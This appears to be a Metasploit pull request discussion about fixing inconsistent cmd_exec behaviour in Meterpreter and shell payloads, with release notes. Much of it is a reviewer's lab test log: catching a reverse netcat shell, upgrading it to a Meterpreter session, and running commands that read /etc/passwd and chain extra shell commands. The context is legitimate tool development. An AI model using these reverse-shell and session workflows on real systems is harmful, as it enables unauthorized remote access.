address cmd_exec inconsistencies with mettle/meterpreter payloads

[busterb]

Fixes #9429

This attempts to address the inconsistent behavior. Test cases are in the original issue.

@bcoles would you mind giving this a quick pass? Thanks!

This took a little while to push up, had some interesting CI corner cases that had to be fixed first. This should also fix the crash observed when running the new 'rename process' functionality from an injected process.

[bcoles]

Changes appears to work as described.

• ✔️ Segfault: fixed
• ✔️ Timeout: fixed
• ✔️ cmd_exec cmd style invocation: fixed

I'll assume your CachedSize changes are sane (I love inexplicable unsigned integers as much as the next person, but perhaps there should be a constant for each payload platform defined somewhere ?).

Output, with Fedora 20 x64 test client:

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set lport 1337
lport => 1337
msf5 exploit(multi/handler) > set lhost 172.16.191.244
lhost => 172.16.191.244
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.191.244:1337 
[*] Command shell session 1 opened (172.16.191.244:1337 -> 172.16.191.137:37488) at 2018-01-21 17:20:39 -0500


id
uid=1000(user) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
^Z
Background session 1? [y/N]  y

msf5 exploit(multi/handler) > use exploit/linux/local/test
msf5 exploit(linux/local/test) > info

       Name: Test
     Module: exploit/linux/local/test
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent

Provided by:
  test

Available targets:
  Id  Name
  --  ----
  0   Auto

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
  TIMEOUT  60               yes       Timeout (seconds)

Payload information:

Description:
  Test

msf5 exploit(linux/local/test) > run

[-] Exploit failed: The following options failed to validate: SESSION.
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/test) > set session 1
session => 1
msf5 exploit(linux/local/test) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.244:4444 
[*] Running command: "/bin/ls -l /etc/passwd"
command completed successfully
we made it to the end


[*] Exploit completed, but no session was created.

msf5 exploit(linux/local/test) > 

msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.191.244:4433 
[*] Sending stage (857352 bytes) to 172.16.191.137
[*] Meterpreter session 2 opened (172.16.191.244:4433 -> 172.16.191.137:49883) at 2018-01-21 17:21:09 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 exploit(linux/local/test) > sessions -k
[-] Please specify valid session identifier(s)
msf5 exploit(linux/local/test) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                                                       Connection
  --  ----  ----                   -----------                                                       ----------
  1         shell cmd/unix                                                                           172.16.191.244:1337 -> 172.16.191.137:37488 (172.16.191.137)
  2         meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000 @ localhost.localdomain  172.16.191.244:4433 -> 172.16.191.137:49883 (172.16.191.137)

msf5 exploit(linux/local/test) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > 
meterpreter > 
meterpreter > 
Background session 2? [y/N]  
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > set session 2
session => 2
msf5 exploit(linux/local/test) > run

[*] Started reverse TCP handler on 172.16.191.244:4444 
[*] Running command: "/bin/ls -l /etc/passwd"
command completed successfully
we made it to the end
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > 
msf5 exploit(linux/local/test) > use exploit/linux/local/test2
msf5 exploit(linux/local/test2) > set session 1
session => 1
rmsf5 exploit(linux/local/test2) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.244:4444 
[*] Running command: "/bin/echo" with args "some_initial_data && sleep 20 && echo true"
command completed successfully
we made it to the end
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/test2) > set session 2
session => 2
msf5 exploit(linux/local/test2) > run

[*] Started reverse TCP handler on 172.16.191.244:4444 
[*] Running command: "/bin/echo" with args "some_initial_data && sleep 20 && echo true"
command completed successfully
we made it to the end
[*] Exploit completed, but no session was created.

[busterb]

Thanks for testing @bcoles , now on to the PHP payload :P

The CachedSize integers are generated by a script, and for legacy reasons, our spec tests are sticklers about those. I put those changes in a separate commit to make review easier. Let me noodle on a better way we might be able to solve the problem CachedSize solves, because I do feel like we're wasting time valuable time as humans every time we update them.

[sempervictus]

Sometimes a rational fix devolves into a game of whackamole to find all the workarounds previously implemented... Thanks.

[sempervictus]

Seriously? Thank you...

[busterb]

Release Notes

This fix resolves issues with the cmd_exec command behaving inconsistently with Meterpreter versus shell payloads. It also resolves some reverse_http issues when reconnecting via Linux/OSX native Meterpreter.